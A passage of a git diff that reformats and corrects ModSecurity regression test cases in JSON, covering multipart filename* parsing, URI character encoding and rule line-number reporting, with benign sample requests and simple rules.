"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -25,21 +25,28 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=£&bar=%C2%A3", + "uri": "/test.pl?foo=£&bar=%C2%A3", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { - "debug_log": "\/test.pl\\?foo=\\\\xc2\\\\xa3&bar=\\\\xc2\\\\xa3" + "debug_log": "/test.pl\\?foo=\\\\xc2\\\\xa3&bar=\\\\xc2\\\\xa3", + "http_code": 200 }, "rules": [ "SecRuleEngine On", diff --git a/test/test-cases/regression/issue-1825.json b/test/test-cases/regression/issue-1825.json index 41fc349ff8..b19c52c5b2 100644 --- a/test/test-cases/regression/issue-1825.json +++ b/test/test-cases/regression/issue-1825.json @@ -1,339 +1,372 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"multipart Content-Disposition should allow filename* field (1/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" +[ + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition should allow filename* field (1/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "360", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=utf-8''03CB1664.txt", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=utf-8''03CB1664.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":"", - "body":"" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log":"Target value: \"03CB1664.txt\" \\(Variable: MULTIPART_FILENAME" + "expected": { + "debug_log": "Target value: \"03CB1664.txt\" \\(Variable: MULTIPART_FILENAME", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"multipart Content-Disposition should allow filename* field (2/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition should allow filename* field (2/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "364", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename*= ISO-8859-1''ab0-_xy.txt; filename=\"ab0-_xy.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename*= ISO-8859-1''ab0-_xy.txt; filename=\"ab0-_xy.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":"", - "body":"" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log":"Target value: \"ab0-_xy.txt\" \\(Variable: MULTIPART_FILENAME" + "expected": { + "debug_log": "Target value: \"ab0-_xy.txt\" \\(Variable: MULTIPART_FILENAME", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"multipart Content-Disposition should allow filename* field (3/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition should allow filename* field (3/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "335", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename*=utf-8''03CB1664.txt", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2--\r" - ] - }, - "response":{ - "headers":"", - "body":"" - }, - "expected":{ - "debug_log":"Warning: no filename= but filename*" - }, - "rules":[ + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename*=utf-8''03CB1664.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: \"03CB1664.txt\" \\(Variable: MULTIPART_FILENAME:filedata\\)", + "http_code": 403 + }, + "rules": [ "SecRuleEngine On", - "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:2,pass,t:trim\"" + "SecRule MULTIPART_FILENAME \"@eq 03CB1664.txt\" \"id:1,phase:2,deny,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"multipart Content-Disposition should allow filename* field (4/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition filename* field expects charset (4/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "355", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=''03CB1664.txt", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=''03CB1664.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":"", - "body":"" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log":"Multipart: Invalid Content-Disposition header \\(-16" + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(-16", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"multipart Content-Disposition should allow filename* field (5/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition filename* invalid syntax (5/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "359", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=UTF-8'03CB1664.txt", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=UTF-8'03CB1664.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":"", - "body":"" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log":"Multipart: Invalid Content-Disposition header \\(-17" + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(-17", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:2,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"multipart Content-Disposition should allow filename* field (6/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition filename* value can contain hexa chars (6/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "358", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=utf-8''%61%4G.txt", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=utf-8''%61%4G.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":"", - "body":"" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "debug_log":"Multipart: Invalid Content-Disposition header \\(-18" + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(-18", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"multipart Content-Disposition should allow filename* field (7/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition should allow filename* field (7/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "358", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=utf-8''%61%62.txt", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=utf-8''%61%62.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":"", - "body":"" + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQBODY_ERROR \"!@eq 0\" \"id:1,phase:2,deny,status:403\"" ] } ] - diff --git a/test/test-cases/regression/issue-1831.json b/test/test-cases/regression/issue-1831.json index 773a0eec97..e8f5fc6e86 100644 --- a/test/test-cases/regression/issue-1831.json +++ b/test/test-cases/regression/issue-1831.json @@ -4,7 +4,7 @@ "version_min": 209000, "version_max": -1, "title": "Invalid actions break CRS 3.1 on rule 912160 - 1", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1830", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1830", "client": { "ip": "200.249.12.31", "port": 2313 @@ -17,7 +17,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -25,21 +25,28 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=£&bar=%C2%A3", + "uri": "/test.pl?foo=£&bar=%C2%A3", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { - "debug_log": "\\\\xc2\\\\xa3" + "debug_log": "\\\\xc2\\\\xa3", + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -51,7 +58,7 @@ "version_min": 209000, "version_max": -1, "title": "Invalid actions break CRS 3.1 on rule 912160 - 2", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1830", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1830", "client": { "ip": "200.249.12.31", "port": 2313 @@ -64,7 +71,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -72,18 +79,24 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=£&bar=%C2%A3", + "uri": "/test.pl?foo=£&bar=%C2%A3", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "http_code": 200 @@ -101,7 +114,7 @@ "version_min": 209000, "version_max": -1, "title": "Invalid actions break CRS 3.1 on rule 912160 - 3", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1830", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1830", "client": { "ip": "200.249.12.31", "port": 2313 @@ -114,7 +127,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -122,22 +135,28 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=£&bar=%C2%A3", + "uri": "/test.pl?foo=£&bar=%C2%A3", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { - "http_code": 200, - "debug_log": "Target value: \"1\"" + "debug_log": "Target value: \"1\"", + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -150,7 +169,7 @@ "version_min": 209000, "version_max": -1, "title": "Invalid actions break CRS 3.1 on rule 912160 - 4", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1830", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1830", "client": { "ip": "200.249.12.31", "port": 2313 @@ -163,7 +182,7 @@ "headers": { "Host": "net.tutsplus.com", "User-Agent": "", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -171,22 +190,28 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=£&bar=%C2%A3", + "uri": "/test.pl?foo=£&bar=%C2%A3", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { - "http_code": 200, - "debug_log": "GLOBAL:alerted_970018_iisDefLoc with value: 1" + "debug_log": "GLOBAL:alerted_970018_iisDefLoc with value: 1", + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -195,6 +220,3 @@ ] } ] - - - diff --git a/test/test-cases/regression/issue-1844.json b/test/test-cases/regression/issue-1844.json index 6ccb1f5e8a..e93b71f17b 100644 --- a/test/test-cases/regression/issue-1844.json +++ b/test/test-cases/regression/issue-1844.json @@ -1,279 +1,290 @@ [ { - "enabled":1, - "version_min":300000, - "title":"m_lineNumber ... mapping ... correct line number in file (1/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "m_lineNumber ... mapping ... correct line number in file (1/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "26", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=test1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"line \"29\"" + "expected": { + "error_log": "line \"29\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule WEBAPPID \"@contains test1\" \"id:1,phase:3,pass,t:trim\"", "Include test-cases/data/big-file.conf" ] }, { - "enabled":1, - "version_min":300000, - "title":"m_lineNumber ... mapping ... correct line number in file (2/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "m_lineNumber ... mapping ... correct line number in file (2/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "12", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=test2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"line \"55\"" + "expected": { + "error_log": "line \"55\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule WEBAPPID \"@contains test2\" \"id:1,phase:3,pass,t:trim\"", "Include test-cases/data/big-file.conf" ] }, { - "enabled":1, - "version_min":300000, - "title":"m_lineNumber ... mapping ... correct line number in file (3/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "m_lineNumber ... mapping ... correct line number in file (3/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "12", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=test3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"line \"84\"" + "expected": { + "error_log": "line \"84\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule WEBAPPID \"@contains test3\" \"id:1,phase:3,pass,t:trim\"", "Include test-cases/data/big-file.conf" ] }, { - "enabled":1, - "version_min":300000, - "title":"m_lineNumber ... mapping ... correct line number in file (4/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "m_lineNumber ... mapping ... correct line number in file (4/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "12", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=test4" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"line \"116\"" + "expected": { + "error_log": "line \"116\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule WEBAPPID \"@contains test3\" \"id:1,phase:3,pass,t:trim\"", "Include test-cases/data/big-file.conf" ] }, { - "enabled":1, - 